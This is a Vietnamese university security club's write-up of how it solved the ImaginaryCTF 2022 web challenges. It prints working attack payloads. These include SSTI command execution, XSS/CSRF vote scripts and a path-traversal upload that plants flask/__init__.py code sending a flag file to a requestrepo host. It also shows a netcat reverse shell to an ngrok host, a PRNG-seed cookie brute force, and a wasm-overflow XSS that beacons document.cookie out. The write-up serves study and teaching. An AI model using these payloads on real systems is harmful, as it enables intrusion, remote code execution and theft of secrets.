wannaShare | IMAGINARY CTF 2022 Writeups | Web Challenges

PHAPHA_JIàN
10:18 20/07/2022

CLB An toàn Thông tin WannaW^n chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab

Tuần vừa qua thì mình có tham gia giải ImaginaryCTF với team purf3ct và đạt được hạng 5. Bên cạnh đó thì cũng rất biết ơn vì nhờ có sự giúp đỡ của teammate và đàn anh nên đã clear được hết các challenges web ?. Sau đây mình xin chia sẻ cách làm cho các challenges trong giải này.


Button

Ấn vào đường link thì chỉ hiển thị ra một trang web trắng tinh. Tiếp theo mình thử click bừa thì pop up lên một fake flag.

Ctrl+U để view source trang web thì thấy có rất nhiều dòng <button class="not-sus-button" onclick="notSusFunction()">.</button> nhưng len lỏi trong đống đó là một đoạn code JS.

Làm tới đây mình nảy ra một idea đó là copy source của trang về sau đó xóa hết các dòng <button class="not-sus-button" onclick="notSusFunction()">.</button> đi. Lúc này chỉ còn lại một dấu . trên trang web, thử click vào và kết quả là:

:::info ictf{y0u_f0und_7h3_f1ag!} :::


rooCookie

Từ overview của trang web:

Có thể đoán được flag có liên quan tới password và password này lại liên quan đến cookie của trang web ?.

Tiếp tục view source, sẽ thấy một đoạn code JS dùng cho việc "createToken", có lẽ là dùng để tạo cookie:

Hàm nãy lấy từng kí tự trong flag, chuyển sang mã ascii sau đó -43+1337, cuối cũng là chuyển sang hệ binary và nối vào chuỗi encrypted. Sau khi thử một vài case thì có thể rút ra kết luận một chuỗi 11 kí tự binary sẽ ứng với một kí tự flag (sau khi đã -43 + 1337)

Vậy chỉ cần viết script để decrypt thôi:

:::info ictf{h0p3_7ha7_wa5n7_t00_b4d} :::


Democracy

Challenge này thì lúc sau btc đã public luôn flag mình cũng không rõ lí do lắm hoặc có thể do nhiều người làm theo cách unintended quá thành ra chall bị broken ?.

Đại loại đây sẽ một trang với các tính năng register, login và sau đó mỗi user sẽ có thể vote cho nhau. Đặc biệt hơn là mỗi IP chỉ có thể vote một lần (hoặc theo như ý muốn ban đầu của người ra đề thì nó là vậy ?). Giải bài này thì cực đơn giản, chỉ cần tạo ra 1 account chính: win, sau đó tạo thêm n account khác để bay vào vote cho win. Đợi đến khi countdown time end là có thể nhảy tới /flag để lấy flag, ez ?.

Nói vậy thôi chứ thực ra intended solution của bài này theo mình khá chắc đó là XSS + CSRF. Nếu các bạn để ý thì ta có thể trigger XSS ở username đã đăng kí lúc register. Lúc này kịch bản khai thác sẽ như sau, tạo một user win và lấy id của user này. Sau đó tạo thêm một user phụ với user name là: <script>var x=new XMLHttpRequest();x.open('GET','/vote/<id_of_user_win>');x.send();</script>

Tự vote cho user này để hiển thị lên /home, sau đó nếu các người chơi khác access tới /home thì cũng đã bị CSRF dẫn tới vote luôn cho user win.

:::info ictf{i'm_sure_you_0btained_this_flag_with0ut_any_sort_of_trickery...} :::


SSTI Golf

Đây là một bài ssti, sau khi access vào link chall thì họ để sẵn source cho ta luôn ?

Source cũng rất dễ hiểu, chỉ cần query<=48 thì ta có thể khai thác ssti ở /ssti. Payload của mình thì khá là "phổ thông", vừa suýt soát 48 kí tự: {{lipsum.__globals__.os.popen('<cmd>').read()}}

cat flag:

:::info ictf{F!1+3r5s!?} :::


minigolf

Tiếp tục là một challenge về ssti, access tới url của chall ta được:

hmm, payload phải thỏa không nằm trong blacklist và len <= 69.

Vì bài đã filter {{}} nên mình dùng {% để build. Idea thì cũng rất đơn giản, payload để build thì cũng như chall ssti trước {{lipsum.__globals__.os.popen('<cmd>').read()}}, để bypass limit length mình sẽ update vào config và lấy ra dùng.

Đầu tiên,{% set x=config.update(l=lipsum) %} sau đó thử {% print config %} để xem update thành công hay chưa:

OK tiếp tục là __globals__ vì đề filter _ nên có một trick đó là move chuỗi này qua request.args. Payload: {% set x = config.update(g=request.args.a) %}?txt=<payload>&a=__globals__

Để nối lại thì ta có thể dùng |attr, test thử với {% print config.l|attr(config.g) %}:

Cứ tiếp tục làm rồi update như vậy vào config để build thôi, lúc mình làm thì có người đã update thằng popen vào rồi nên chỉ cần gọi lên và thực thi command là xong ?.

:::info ictf{whats_in_the_flask_tho} :::


Hostility

Access vào url ta được source code:

#!/usr/bin/env python3
from requests import get
from flask import Flask, Response, request
from time import sleep
from threading import Thread
from os import _exit
app = Flask(__name__)
class Restart(Thread):
    def run(self):
        sleep(300)
        _exit(0) # killing the server after 5 minutes, and docker should restart it
Restart().start()
@app.route('/')
def index():
    return Response(open(__file__).read(), mimetype='text/plain')
@app.route('/docker')
def docker():
    return Response(open("Dockerfile").read(), mimetype='text/plain')
@app.route('/compose')
def compose():
    return Response(open('docker-compose.yml').read(), mimetype='text/plain')
@app.route('/upload', methods=["GET"])
def upload_get():
    return open("upload.html").read()
@app.route('/upload', methods=["POST"])
def upload_post():
    if "file" not in request.files:
        return "No file submitted!"
    file = request.files['file']
    if file.filename == '':
        return "No file submitted!"
    file.save("./uploads/"+file.filename)
    return f"Saved {file.filename}"
@app.route('/flag')
def check():
    flag = open("flag.txt").read()
    get(f"http://localhost:1337/{flag}")
    return "Flag sent to localhost!"
app.run('0.0.0.0', 1337)

Ở bài này các bạn có thể access đến 2 route /docker/compose để lấy file về và build local. Bug thì khá là dễ thấy, ở route /upload, ngay tại dòng file.save("./uploads/"+file.filename) =>arbitrary write.

Nhưng vì không có quyền ghi ở /app nên ý định ghi đè file server.py để lấy flag của mình không thành. Sau một hồi search thì mình nhận ra có thể áp dụng cách này. Thực hiện ghi thêm một đoạn code để gửi flag đến requestrepo.com vào file __init__.py của một package được import vào server.py, cụ thể ở đây là package flask và khi server restart thì sẽ trigger đoạn code này -> lấy đc flag.

Để tìm thư mục của package flag thì mình dùng lệnh pip show flask -> /usr/local/lib/python3.8/dist-packages

HTTP request:

POST /upload HTTP/1.1
Host: hostility.chal.imaginaryctf.org
Content-Length: 2605
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://hostility.chal.imaginaryctf.org
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysiY3NBtcfUmRzmuB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://hostility.chal.imaginaryctf.org/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
------WebKitFormBoundarysiY3NBtcfUmRzmuB
Content-Disposition: form-data; name="file"; filename="../../../usr/local/lib/python3.8/dist-packages/flask/__init__.py"
Content-Type: text/plain
from markupsafe import escape
from markupsafe import Markup
from werkzeug.exceptions import abort as abort
from werkzeug.utils import redirect as redirect
from . import json as json
from .app import Flask as Flask
from .app import Request as Request
from .app import Response as Response
from .blueprints import Blueprint as Blueprint
from .config import Config as Config
from .ctx import after_this_request as after_this_request
from .ctx import copy_current_request_context as copy_current_request_context
from .ctx import has_app_context as has_app_context
from .ctx import has_request_context as has_request_context
from .globals import _app_ctx_stack as _app_ctx_stack
from .globals import _request_ctx_stack as _request_ctx_stack
from .globals import current_app as current_app
from .globals import g as g
from .globals import request as request
from .globals import session as session
from .helpers import flash as flash
from .helpers import get_flashed_messages as get_flashed_messages
from .helpers import get_template_attribute as get_template_attribute
from .helpers import make_response as make_response
from .helpers import send_file as send_file
from .helpers import send_from_directory as send_from_directory
from .helpers import stream_with_context as stream_with_context
from .helpers import url_for as url_for
from .json import jsonify as jsonify
from .signals import appcontext_popped as appcontext_popped
from .signals import appcontext_pushed as appcontext_pushed
from .signals import appcontext_tearing_down as appcontext_tearing_down
from .signals import before_render_template as before_render_template
from .signals import got_request_exception as got_request_exception
from .signals import message_flashed as message_flashed
from .signals import request_finished as request_finished
from .signals import request_started as request_started
from .signals import request_tearing_down as request_tearing_down
from .signals import signals_available as signals_available
from .signals import template_rendered as template_rendered
from .templating import render_template as render_template
from .templating import render_template_string as render_template_string
__version__ = "2.1.3"
import requests
flag = open("/app/flag.txt").read()
requests.post("http://cw30ckx6.requestrepo.com", data=flag)
------WebKitFormBoundarysiY3NBtcfUmRzmuB--

và kết quả:

:::info ictf{man_maybe_running_my_webserver_as_root_wasnt_a_great_idea_hmmmm} :::

P/S: thực ra ở bài này anh taidh có nói mình một cách khác đó là ghi đè file /etc/hosts và chỉnh lại localhost trỏ tới địa chỉ của vps. Nhưng một phần vì mình không có vps ? vả lại được nghe bảo là cần phải config thêm ở proxy gì đó nữa nên thôi ~~~


maas

Bài này cũng khá vui, lúc đầu mình tưởng khó nhưng tới giai đoạn gần cuối giải thì cũng hơn 40 solves ?.

Có các chức năng: Register, Login ...

Thử register một account với username: bla

Ta được trả về một random password:

Sau đó login với account này, ta được chuyển hướng tới /home:

=> Mục tiêu là làm sao đó để có thể trở thành admin

Bài này tác giả có đính kèm source code, nên sau khi test thử các tính năng rồi thì đọc source thôi

from flask import Flask, render_template, request, make_response, redirect
from hashlib import sha256
import time
import uuid
import random
app = Flask(__name__)
memes = [l.strip() for l in open("memes.txt").readlines()]
users = {}
taken = []
def adduser(username):
  if username in taken:
    return "username taken", "username taken"
  password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
  cookie = sha256(password.encode()).hexdigest()
  users[cookie] = {"username": username, "id": str(uuid.uuid1())}
  print(users)
  taken.append(username)
  return cookie, password
@app.route('/')
def index():
    return redirect("/login")
@app.route('/users')
def listusers():
  return render_template('users.html', users=users)
@app.route('/users/<id>')
def getuser(id):
  for k in users.keys():
    print(k)
    if users[k]["id"] == id:
      return f"Under construction.<br><br>User {users[k]['username']} is a very cool user!"
@app.route('/login', methods=['GET', 'POST'])
def login():
  if request.method == "POST":
    resp = make_response(redirect('/home'))
    cookie = sha256(request.form["password"].encode()).hexdigest()
    resp.set_cookie('auth', cookie)
    return resp
  else:
    return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
  if request.method == "POST":
    cookie, password = adduser(request.form["username"])
    resp = make_response(f"Username: {request.form['username']}<br>Password: {password}")
    resp.set_cookie('auth', cookie)
    return f"Username: {request.form['username']}<br>Password: {password}"
  else:
    return render_template('register.html')
@app.route('/home', methods=['GET'])
def home():
    cookie = request.cookies.get('auth')
    username = users[cookie]["username"]
    if username == 'admin':
        flag = open('flag.txt').read()
        return render_template('home.html', username=username, message=f'Your flag: {flag}', meme=random.choice(memes))
    else:
        return render_template('home.html', username=username, message='Only the admin user can view the flag.', meme=random.choice(memes))
@app.errorhandler(Exception)
def handle_error(e):
    print(str(e))
    return redirect('/login')
def initialize():
  random.seed(round(time.time(), 2))
  adduser("admin")
initialize()
app.run('0.0.0.0', 8081)

Source code thì các bạn có thể tự đọc, mình sẽ không giải thích kĩ, điểm mấu chốt thì như đã nói ở trên cần làm cho username == 'admin' để lấy được flag. Ở phần này nếu tinh ý thì có thể nhận ra tại hàm initialize(), tác giả sử dụng random.seed() để khởi tạo ra một "random number generator". Và sau đó là adduser("admin"), thực hiện việc tạo random password cho admin, gen ra cookie và set giá trị cho users dict. Vậy nếu tìm được "random number generator" này thì có thể lấy được password của admin bởi vì passowrd được chọn nhờ random.choice().

Sau khi có idea thì mình bắt đầu bute từ giai đoạn mà giải bắt đầu là ngày 16/7 lúc 3h sáng nhưng brute tầm vài tiếng thì bắt đầu nhận ra có gì đó sai sai ?. Mình đã không để ý việc có 2 chữ số sau dấy phẩy (round(time.time(), 2)), sau khi phát hiện ra thì ngẫm lại cách brute này có vẻ không ổn lắm tại vì phải quét quá nhiều trường hợp.

Lúc này nhìn lại source một lần nữa thì mình nhận ra thêm một điều thú vị, ứng với mỗi account được tạo ra thì sẽ có một id tạo bằng str(uuid.uuid1()) tương ứng và được lưu vào dict users. Điểm đặt biệt ở uuid version 1 đó là ta có thể extract được timestamp lúc nó được tạo vì vậy ý tưởng ở đây thay đổi một tí đó là extract time từ user admin để thu nhỏ lại khoảng brute. Về phần id admin thì ta có thể lấy được dễ dàng tại route /users

Để extract time cũng như chuyển đổi thì mình dùng 2 tool online: https://www.famkruithof.net/uuid/uuidgen?typeReq=-1, https://www.epochconverter.com/

Script:

import requests
import random
from hashlib import sha256
import time
URL = "http://maas.chal.imaginaryctf.org"
for i in range(1657964775, 1657964775+2):
    for j in range(0, 100):
        temp = f".{j}"
        if len(temp) == 2:
            temp = f".0{j}"
        # print(round(float(str(i) + temp), 2))
        random.seed(round(float(str(i) + temp), 2))
        password = "".join([random.choice("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") for _ in range(30)])
        cookie = sha256(password.encode()).hexdigest()
        r = requests.get(URL + "/home", cookies = {"auth": cookie})
        # print(r.text)
        if "ictf" in r.text:
            print(r.text)
            exit(1)
# Found with: 1657964775.76

:::info ictf{d0nt_use_uuid1_and_please_generate_passw0rds_securely_192bfa4d} :::


1337

Bài này lại tiếp tục là một bài ssti từ btc ?. Test như sau:

Bài này thì tác giả đã cho source và file docker sẵn nên có thể dựng để debug local. Lúc làm thì mình tưởng rất dễ ăn, dùng process.mainModule.require('child_exec') để command injection nhưng lại failed, dựng local thì nó báo lỗi:

Tiếp đó thì mình thử xem các giá trị của process với payload: <%=JSON.stringify(process)%>

Bỏ vào json viewer mình có để ý tới các binding của nó. Tiếp tục search, dựa vào link này thì biết được rằng ta có thể call hàm thông qua process.binding().

Mình đã thử một vài cách chẳng hạn như fs để đọc file nhưng vẫn bị lỗi ở đâu đấy, tới đây thì anh taidh đã solve ra trước và đưa mình solution ?.

Cụ thể là dùng payload này để tạo hàm spawnSync() và reverse shell lấy flag. Để bypass filter '" cũng như tránh các kí tự sẽ bị convert ở object toLeet thì ta move payload ra ngoài bằng ctx.req.text().

Script:

import requests
URL = "http://1337.chal.imaginaryctf.org/"
params = {"text": "<%=eval(await ctx.req.text())%>", "dir": "from"}
payload="""
spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};spawnSync('nc',['8.tcp.ngrok.io', 17620, '-e', 'sh']).output[1]"""
r = requests.get(URL, params=params, data=payload)
print(r.text)

Reverse shell và đọc flag

:::info ictf{M0J0_15N7_0N_P4YL04D54LL7H37H1N65} :::


CyberCook

Chall này được xem là khó nhất của giải, một bài liên quan với wasm. Lúc đầu khi làm thì mình cũng chẳng có idea gì chỉ biết mở devtool lên và ngồi debug trong vô vọng ?. Mãi tới sau khi @pivik tìm ra được cách giải quyết cho đoạn đầu thì mới có cơ hội góp chút tài mọn để solve.

Về phần chức năng, có một ô cho ta nhập input và sau đó ấn Cook sẽ hiển thị ra dạng base64 encode ở phía dưới.

Bên cạnh đó còn có chức năng report

=> Có thể đoán được đây một bài XSS steal cookie của admin

Về mặt ý tưởng của bài này đó là làm sao để sau khi ấn Cook sẽ hiển thị ra input mà ta nhập vào thay vì chuỗi base64 -> do đó mà có thể trigger XSS.

Tiếp tục phân tích cách hoạt động của trang, sau khi view source thấy được một đoạn JS đã bị obfuscate, mình đã cóp về và rename cho dễ nhìn

var a = func1;
(function(arg1, arg2) {
    var x = func1,
        y = arg1();
    while (true) {
        try {
            var temp = parseInt(x(0xc1)) / 0x1 * (-parseInt(x(0xd7)) / 0x2) + -parseInt(x(0xd2)) / 0x3 + -parseInt(x(0xc2)) / 0x4 + parseInt(x(0xcd)) / 0x5 + -parseInt(x(0xd1)) / 0x6 * (-parseInt(x(0xc7)) / 0x7) + parseInt(x(0xcb)) / 0x8 + parseInt(x(0xd4)) / 0x9;
            if (temp === arg2) break;
            else y.push(y.shift());
        } catch (_0x56eedd) {
            y.push(y.shift());
        }
    }
}(func2, 604858));
function func1(arg1, arg2) {
    var f2 = func2();
    return func1 = function(func171, _0x4b7c6b) {
        func171 = func171 - 0xc1;
        var _0x4c557d = f2[func171];
        return _0x4c557d;
    }, func1(arg1, arg2);
}
function getRequests() {
    var f1 = func1,
        arr_param = location.search(1, location.search.length).split('&'),
        obj = {},
        temp, i;
    for (i = 0; i < arr_param.length; i += 1) {
        temp = arr_param[i].split('='), obj[decodeURIComponent(temp[0]).toLowerCase()] = decodeURIComponent(temp[1]);
    }
    return obj;
};
var q = getRequests();
function htoa(arg) {
    var _0x467ca4 = func1,
        arg2str = arg.toString(),
        res = '';
    for (var i = 0; i < arg2str.length; i += 2) res += String.fromCharCode(parseInt(arg2str.substr(i, 2), 10));
    return res;
}
function func2() {
    var _0x3edd76 = ['input', '481712cZxNOP', 'substring', '2238515cgMvuB', 'innerHTML', 'toString', 'action', '6FAseem', '359316oCQtEb', 'value', '9136701kFRNNs', 'ret', '_base64_encode', '934mrQNMV', '892NtHIau', '2064796CAzimC', 'onRuntimeInitialized', 'length', 'split', 'charCodeAt', '940009oTmwww', 'search', 'getElementById'];
    func2 = function() {
        return _0x3edd76;
    };
    return func2(); // return array
}
Module["onRuntimeInitialized"] = function() {
    var _0x16a32e = a; // func1
    q.action == 'base64' && (document.getElementById('input').value = htoa(q.input), s(q.input));
};
function s(arg) {
    var _0xac08b1 = a, // func1
        _0x20f1a9 = allocate(intArrayFromString(arg), ALLOC_NORMAL),
        _0x14b0dd = document.getElementById('ret'),
        _0x586bc0 = Module["_base64_encode"](_0x20f1a9, arg.length / 2);
    _0x14b0dd.innerHTML = AsciiToString(_0x586bc0), initialized = 1;
}

Tóm tắt lại như sau: khi nhập input và ấn Cook thì input sẽ được đưa qua hàm atoh() sau đó là qua s(). Ở function s() thì mình có chú ý đến một đoạn đó là 0x14b0dd.innerHTML = AsciiToString(_0x586bc0), initialized = 1;, nếu đã quen với các dạng bài về XSS thì đây chính là sink mà chung ta cần quan tâm tới. Về phần innerHTML thì ta không thể trigger XSS với tag <script> mà chỉ có thể thông qua các event của <img>, srcdoc của <iframe> ... Nhưng điểm mấu chốt để khai thác vẫn là làm sao để sau khi nhập input vào thì trang hiển thị ra input mà ta vừa mới nhập thay vì chuỗi base64.

Khúc tìm offset cũng như chuỗi mình sẽ nhường lại cho pivik ?


pivik

Sau 1 hồi fuzz tay, mình thấy nếu nhập vào AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (30 chữ A) thì ngoài chuỗi base64 được output, mình thấy nó có thêm những ký tự lạ.

Nhấn cook thêm vài lần nữa, mình thấy những byte đó cũng thay đổi theo. Nhìn giống 1 địa chỉ nào đó được leak ra. Lúc này mình kiểu "wtf pwn trá hình à?". Sau khi lấy đoạn wasm convert sang c rồi đọc sơ qua, mình quyết định thôi làm blind :))

Mình để ý thấy nếu tải lại web, thì phần địa chỉ được leak ra vẫn giữ nguyên mỗi lần (huh không random địa chỉ à?). Thêm 1 điều nữa, nếu mình nhập 31 chữ A thì web không output gì (overflow?). Trở lại hình 1 ở trên, để ý 3 byte cuối là ,6P (0x50362c), vậy nếu nhập input > 30 thì có vẻ sẽ overwrite địa chỉ này. Mình mới base64 decode chuỗi ,6P, nhưng do ký tự , không nằm trong base64 charset nên không decode được. Nên thay vì lấy output của lần cook đầu tiên, mình lấy output của lần 2

P7P (0x503750) rồi decode base64, nhưng địa chỉ phải 4 bytes mới decode được, nên mình pad thêm 1 byte nữa thành P7Pa (0x61503750) để decode thì được \x3f\xb3\xda, nhưng địa chỉ mình cần không phải là 0x61503750, mà là 0x503750. Vậy làm thế nào để thay chữ a mình thêm vào thành null byte?

Sau 1 lúc fuzz tiếp trên web, mình thấy nếu như chuỗi nhập vào là 3fb3ff, đúng ra output sẽ là P7P/, nhưng trên web lại là P7P (yea, another bug?). Lúc này mình mới test thử 30 ký tự A + \x3f\xb3\xff => payload: http://cybercook.chal.imaginaryctf.org/?action=base64&input=4141414141414141414141414141414141414141414141414141414141413fb3ff. Lưu ý là mình phải nhấn thêm cook 1 lần nữa, do địa chỉ 0x503750 là của lần cook thứ 2. Lúc này sẽ có output như hình dưới.

Vậy địa chỉ 0x503750 chính là địa chỉ của phần decoded buffer. Lúc này thì mình đoán là cần phải tìm địa chỉ của phần input buffer để xss. Sau 1 lúc fuzz vòng vòng địa chỉ 0x503750, mình thấy ở địa chỉ 0x503750 - 0x20 = 0x503730 output ra được như hình dưới.

Hmm đây chính là input của mình, nhưng đã được base64, vậy là có tiến triển. Nhưng do địa chỉ 0x503730 có chứa byte \x300, byte này gần như ở cuối của base64 charset rồi, tương tự với những địa chỉ từ 0x50377b đều có ký tự nằm ngoài vùng charset của base64, nên mình mới quay lại địa chỉ lúc đầu là 0x50362c để tính toán tiếp. Sau 1 lúc thì mình tìm được offset của input là 0x44 => Địa chỉ cần overwrite là 0x503670 => base64 decode là \xa7\xa3\xff => payload: http://cybercook.chal.imaginaryctf.org/?action=base64&input=414141414141414141414141414141414141414141414141414141414141a7a3ff.

Vậy là mình có 30 bytes để xss, fuzz thêm 1 lúc nữa, mình để ý có thể tăng payload lên thành 42 => payload: http://cybercook.chal.imaginaryctf.org/?action=base64&input=414141414141414141414141414141414141414141414141414141414141414141414141414141414141a7a3ff.

Oke vậy là có 42 bytes cho payload xss.


Ngay sau khi @pivik tìm được chuỗi thỏa điều kiện ở trên thì mình bắt tay vào làm phần XSS, nhưng nó vẫn là một cái gì đó hơi khoai ?

Hmmm, sau một hồi làm thì mình nhận ra có thể chuyển payload vào window.name và sau đó dùng eval(window.name) execute JS, cách này giúp giảm được một lượng lớn kí tự:

Tới đây nảy sinh ra một vẫn đề khác, muốn làm cách này thì ta phải control được window.name hay nói cách khác là phải tạo ra một page (tạm gọi là exploit page) sau đó bắt con bot visit đến. Và cũng bởi vì các url submit phải target đến http://localhost:8080/ hoặc theo mong muốn của người ra đề thì là như vậy ? nên mình gặp một tí khó khăn.

Cứ lo là bot sẽ không có kết nối ra bên ngoài nhưng sau khi thử submit http://localhost:8080@<WEBHOOK> thì lại nhận được request tới từ đó suy ra bên server chỉ check url phải bắt đầu với http://localhost:8080. Vậy là xong, việc còn lại chỉ cần host một exploit page và submit link

Ở exploit page chèn đoạn js sau:

<script>
    open("http://localhost:8080?action=base64&input=3c696d67207372633d78206f6e6572726f723d6576616c2877696e646f772e6e616d65293e4141414141a7a3ff", "navigator.sendBeacon('http://9t8nrcid.requestrepo.com',document.cookie)")
</script>

Submit link

và ... flag

:::info ictf{c0ngrats_on_pWning_my_w4sm_hopefully_there_werent_any_cheese_solutions_b2810d1e} :::

TIN LIÊN QUAN
  Phòng thực hành Mạng - B2.04 thuộc quản lý của Phòng thí nghiệm An toàn thông tin, nhằm cung cấp môi trường thực hành Mạng cho việc giảng dạy và học tập các môn học. Để xem được liên kết và đăng ký, vui lòng đăng nhập bằng tài...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab Web @AP DISCO PARTY @AP GITFILE EXPLORER @AP miniblog++...